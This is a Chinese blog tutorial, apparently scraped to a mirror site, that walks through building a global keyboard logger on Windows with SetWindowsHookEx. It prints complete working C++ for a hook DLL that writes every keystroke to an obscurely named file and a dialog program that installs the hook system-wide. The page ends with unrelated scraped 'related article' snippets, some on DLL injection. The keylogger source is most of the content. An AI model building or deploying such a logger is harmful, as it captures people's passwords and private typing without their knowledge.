Windows消息钩子[键盘监控]

article/2025/9/24 17:47:38

之前看书,看到一眼消息钩子,一直没实践,现在有空弄了下,

主要原理是利用windows自带SetWindowsHookEx API函数

HHOOK SetWindowsHookEx(

int idHook,                     //hook形式

HOOKPROC lpfn           //hook过程

HINSTANCE hmod        //钩子所属的dll句柄

DWORD dwThreadId    //要钩取的线程ID 全局钩子则传入0

)   

其主要工作原理为,Windows发生相关消息时,会将含有钩子过程的

DLL强制注入目标进程的内存空间中,并且执行DLL中的钩子过程。

可钩取的消息有多种,这里我们试验WH_KEYBOARD尝试钩取windows

的键盘消息,来实现一个简单的键盘记录器。

我开始想要使用控制台程序下钩,貌似不行,控制台没有消息队列的原因吗?

之后改用win32后可以正常使用了

其核心是存在钩子过程的dll编写,代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<stdio.h>
#include<Windows.h>
#include "hook.cpp"
#define _CRT_SECURE_NO_WARNINGS
HINSTANCE hinstance;//dll实例
HHOOK hhook;//钩子实例
HANDLE hfile;
FILE* pFile = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved) //dll加载入口点
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH://dll加载后在当前目录下创建一个用于保存记录的文件hfile = CreateFileA("sLaOvGe", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);hinstance = (HINSTANCE)hModule;CloseHandle(hfile);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}LRESULT CALLBACK KeyboardProc(int ncode, WPARAM wparam, LPARAM lparam)//钩子过程要按照这样的形式定义
{if (ncode >= 0) //nocde小于0时候约定需要交给下一个过程{if(!(lparam&0x80000000))//案件释放时记录,if (wparam >= 48 && wparam <= 57 || wparam >= 65 || wparam <= 90)//键盘码处理字母和数字{pFile = fopen("sLaOvGe", "a+");char save = wparam;fwrite(&save, 1, 1, pFile);fclose(pFile);}}return CallNextHookEx(hhook, ncode, wparam, lparam);//交给下个钩子或程序
}void HookStart()//挂钩
{hhook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, (HINSTANCE)GetModuleHandleA("hook"), 0);
}    void HookStop()//脱钩
{if (hhook){UnhookWindowsHookEx(hhook);hhook = NULL;}
}

这段是钩子dll的主函数,导出函数声明在hook.cpp中

#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#ifndef hook
extern "C" _declspec(dllimport) void HookStart();
extern "C" _declspec(dllimport) void HookStop();

#endif

在钩子过程中设计你想要拦截的键盘消息,这里我的数字范围是windows消息结构中wparam所携带的

表示字母与数字的键盘码,他们和ascii码相同,关于wparam更多信息可以查阅windows程序设计的相关资料

有一个点要提一下

windows的消息结构中的lparam对于不同消息有不同的定义,对于键盘消息它的结构如下

参考资料:windows程序设计(第五版)

32位按位标记,最高位表示转换状态,即现在将要发生的转换,如按下,或释放,

其他位还有很多控制内容,这里不多说,可以查到资料。我们的钩子过程

比较简单,释放时记录下当前释放的按键并把它输出到记录文件中即可。

下面就要实现挂钩程序了,代码如下


#include "stdafx.h"
#include "dialog.h"
#include<Windows.h>
#include"Resource.h"
typedef void(*HOOK)();
char dbug[1024] = "\x00";
HMODULE mydll = NULL;
HINSTANCE hdll = NULL;
BOOL CALLBACK diaproc(HWND hdlg, UINT message, WPARAM, LPARAM lparam);
int WINAPI WinMain(HINSTANCE hinstance,HINSTANCE hprevinstance,PSTR szCmdLine, int iCmdShow)
{DialogBox(hinstance, MAKEINTRESOURCE(IDD_ABOUTBOX)/*资源名*/,NULL/*父窗口*/, diaproc);return 0;
}BOOL CALLBACK diaproc(HWND hdlg,UINT message,WPARAM wparam,LPARAM lparam) //处理的第一条消息WM_INITDIALOG是对话框过程不处理时返回false否则true
{   HOOK sethook = NULL;HOOK unhook = NULL;mydll = GetModuleHandleA("hook.dll");//动态链接hook.dllif (!mydll) {mydll = LoadLibraryA("hook.dll");}sethook = (HOOK)GetProcAddress(mydll, "HookStart");unhook = (HOOK)GetProcAddress(mydll, "HookStop");switch (message){case WM_COMMAND:switch (LOWORD(wparam)){case ID_DLL:	//挂钩if (sethook){MessageBoxA(hdlg, "hook ok!", "hook", 0);sethook();}else{wsprintf(dbug, "%d", GetLastError());MessageBoxA(hdlg, dbug, "hook", 0);}return TRUE;case IDC_UDLL: //脱钩if (!unhook){wsprintf(dbug, "%d  %d", GetLastError(),unhook);MessageBoxA(hdlg, dbug, "hook", 0);return TRUE;}unhook();return TRUE;case WM_DESTROY:PostQuitMessage(0);return TRUE;}}return FALSE;
}

也比较简单,调用了一个windows对话框过程来让我们挂钩。

IDC_UDLL,和ID_DLL分别是我们的脱钩挂钩按键,他有WM_COMMAND

消息的wparam携带,我们的窗口过程负责对他处理,挂钩与脱钩

最后大概就是这个样子。

让我们的hook.dll和钩子程序在同一个目录下,尝试运行

 

好了运行有效果,至于一些不可见字符是因为我有输入法启动了,按了几个转换

按键,我的编译环境时vs2017所以有些c函数如fopen会被认为不安全的函数,

只要在各个文件中加入源码开头宏定义即可通过。

至于针对某个线程挂钩,我觉得应该需要手动dll注入到进程空间内。这里全局钩子

就不用这么麻烦了。

em。。。还要再弄下API钩取,这周好忙


http://chatgpt.dhexx.cn/article/b3hIvbLt.shtml

相关文章

一、C++反作弊对抗实战 (基础篇 —— 4.利用消息钩子注入DLL)

这里将主要用到Windows API函数SetWindowsHookEx,它是微软提供给程序开发人员进行消息拦截的一个API,不过它的功能不仅用作消息拦截,还可以进行DLL注入。 一、关于SetWindowsHookEx 提这个函数在微软官网MSDN文档中原型声明如下: SetWindowsHookExA function (winuser.h…

windows10 记事本进程 键盘消息钩子 dll注入

看了很多文档&#xff0c;垮了很多坎&#xff0c;终于完成了这个demo&#xff1b; 有很多个人理解&#xff0c;可能不完全正确&#xff0c;见谅&#xff1b; 先上实现的图片&#xff1a; 如图&#xff0c;我通过SetWindowsHookEx()函数向记事本进程中当前窗口线程注入了自己写…

消息钩子学习工程

前奏 近来一直在自学Windows Hook相关的知识&#xff0c;已经尝试多种注入方式。尤其对消息钩子方式很感兴趣&#xff0c;因为看到Spy能够截获系统中绝大多数应用的消息流&#xff0c;就很想知道它的工作原理&#xff0c;打算制作属于自己的Spy。 消息钩子简介&#xff1a; 消息…

DLL注入技术之消息钩子注入(HOOK简单的实现)

低头不是认输&#xff0c;是要看清自己的路。仰头不是骄傲&#xff0c;是看见自己的天空。——致自己 Hook&#xff0c;是Windows消息处理机制的一个平台&#xff0c;应用程序可以在上面设置子程序以监视指定窗口的某种消息&#xff0c;而且所监视的窗口可以是其他进程所创建的…

powerdesigner制作数据字典

powerdesigner制作数据字典TOC 配置好数据库连接之后&#xff0c;点击File→New Model 这步是默认的点OK就行。 数据传输完之后点击保存。 选择好保存路径后&#xff0c;关闭软件&#xff08;关闭时注意选择保存&#xff09;&#xff0c;然后再重现打开。 重新打开Po…

设计 - 数据字典

文档分类 写文档目的 你有没有遇到过开晨会、周会的时候某个问题已经讨论的很清晰。 但是几天后或者临近周末的时候再说这个问题的时候&#xff0c;团队中有的童鞋会说:“我不知道&#xff0c;没有说过这个问题或者这个方案”&#xff0c;因此而造成的BB事很伤神费心。 为了避免…

Oracle 数据字典详解

Oracle 数据字典详解 什么叫数据字典&#xff1f; 数据字典指的是描述数据的数据。 举个例子&#xff1a;我们在数据库里面创建了一个表&#xff0c;这个表位于哪个数据文件、这个表有哪些列、这个表的每一个列的数据类型、这个表的约束等等。这些信息都是描述这个表的&#…

数据字典及其使用(方案一)

1 数据字典 1.1 什么是数据字典 将如下这些具有相同类型的配置项&#xff0c;配置到系统的数据字典表中&#xff0c;方便系统维护&#xff0c;由超级管理员统一在后台进行数据字典维护&#xff0c;如果用户需求要增加变更配置项&#xff0c;只需要修改数据字典表记录…

什么是mysql数据字典_数据字典是什么?

展开全部 数据e69da5e6ba9062616964757a686964616f31333366306434字典是指对数据的数据项、数据结构、数据流、数据存储、处理逻辑等进行定义和描述,其目的是对数据流程图中的各个元素做出详细的说明,使用数据字典为简单的建模项目。简而言之,数据字典是描述数据的信息集合,…

matlab新建数据字典及如何导入

一、如何创建 点击model explorer 依次点击file->new->Data dictionary 输入数据字典的名字 创建之后为一下界面&#xff1a; 点击 进行创建 右键save change 进行保存 没保存时候带星号 &#xff0c;保存之后信号消失。 二、如何导入 点击file—>model proper…

数据治理浅谈之数据字典

导读 数据字典作为数据治理整体体系中重要的一环&#xff0c;理解和使用数据字典尤为重要。本文将从数据字典概念、定义、结构、应用、治理等方面进行详细阐述。 01概念 数据字典&#xff08;Data Dictionary&#xff09;是一个容器&#xff0c;用于包含有组织定义和使用的所…

【数据库管理】⑩数据字典

1. 数据字典的概述 数据字典&#xff08;Data Dictionary&#xff09;是数据库管理系统中的一个重要组成部分&#xff0c;它是一个存储数据库元数据的集合&#xff0c;包含了数据库中所有对象的定义和描述信息。数据字典可以帮助用户了解数据库中的各种对象和数据结构&#xff…

List中remove()的用法

List remove的三种正确方法 1、倒序循环&#xff0c;因为list删除只会导致当前元素之后的元素位置发生改变&#xff0c;所以采用倒序可以保证前面的元素没有变化&#xff1b; for(int ilist.size()-1;i>0;i--){ list.remove(i); }2、顺序循环时&#xff0c;删除当前位置的…

JSP内置对象Session——setAttribute/getAttibute/removeAttribute

本文章代码使用了request内置对象&#xff0c;可先查看之前的文章学习。 前言 一、Session使用环境 二、常用方法 三.使用示例 1. 设计某系统登陆模块&#xff0c;该模块需满足以下条件&#xff1a; 2.login.jsp登录页面 2.check.jsp校验页面 3. success.jsp成功登录页面…

Iterator remove()详解

转自&#xff1a;http://blog.51cto.com/tianxingzhe/1693218 一、Iterator的API 关于Iterator主要有三个方法&#xff1a;hasNext()、next()、remove() hasNext:没有指针下移操作&#xff0c;只是判断是否存在下一个元素 next&#xff1a;指针下移&#xff…

VLAN命令行配置

VLNA配置任务概览 各配置任务间的逻辑关系&#xff1a; VLAN配置任务概览&#xff1a; 配置任务描述划分VLAN创建并划分VLAN&#xff0c;将没有二层互通需求的用户进行隔离&#xff0c;可增强网络的安全性、减少广播流量&#xff0c;同时也减少了广播风暴的产生。配置通过VLA…

VLAN配置命令

VLAN作用 分割广播域 VLAN分类 静态VLAN 基于端口划分 动态VLAN 基于MAC地址划分 VLAN范围 0-4095 共4096个vlanID 0与4095系统保留 1-4094可用 VLAN配置命令 VLAN基础配置代码 添加vlan&#xff08;2-4094&#xff09; vlan 10 删除vlan undo vlan 10 批量增加 vlan batch …

华为 -VLAN配置

按照实验拓扑图接线。 配置PC1&#xff1a;IP&#xff08;192.168.1.1/24&#xff09;,PC2:IP(192.168.2.1/24)。测试PC1和PC2的连通性&#xff1a;用PC1去PingPC2&#xff0c;查看Ping的结果&#xff0c;并解释原因。 PC1和PC2在不同的网段&#xff0c;不能ping通 配置PC1&…

华为交换机vlan配置

拓扑图&#xff1a; 配置命令&#xff1a; sw1: sys sys sw1 vlan 10 vlan 20 int e0/0/1 port link-type access port default vlan 10 int e0/0/2 port link-type access port default vlan 20 int e0/0/3 port link-type trunk port trunk allow vlan 10 20sw2: sys sy…

ensp交换机vlan配置

交换机 一、VLAN1、VLAN的概念2、优势3、VLAN的种类4、VLAN的范围5、VLAN标识6、IEEE802.1q工作原理帧格式 二、交换机命令配置1、华为交换机链路类型2、添加VLAN 一、VLAN 1、VLAN的概念 VLAN&#xff08;Virtual Local Area Network&#xff09;即虚拟局域网&#xff0c;是…